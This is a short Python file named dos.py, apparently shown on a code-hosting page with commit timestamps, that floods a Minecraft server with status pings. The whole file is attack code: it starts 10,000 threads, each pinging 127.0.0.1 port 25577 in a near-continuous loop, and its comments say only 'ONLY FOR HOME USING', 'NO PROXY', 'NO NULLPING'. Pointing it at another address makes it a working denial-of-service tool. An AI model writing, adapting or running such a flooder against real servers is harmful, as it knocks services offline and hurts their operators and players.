minestatsping/dos.py

20 lines
302 B
Python
Raw Normal View History

2023-01-20 17:57:19 +00:00
#ONLY FOR HOME USING!!!
#NO PROXY
#NO NULLPING
from mctools import PINGClient
#My libraries
from time import sleep
2023-01-20 19:55:37 +00:00
import threading
2023-01-20 17:57:19 +00:00
2023-01-20 19:55:37 +00:00
def main():
ping = PINGClient('127.0.0.1', 25577)
while True:
sleep(0.00001)
ping.ping()
2023-01-20 17:57:19 +00:00
2023-01-20 19:55:37 +00:00
for i in range(10000):
th = threading.Thread(target=main)
th.start()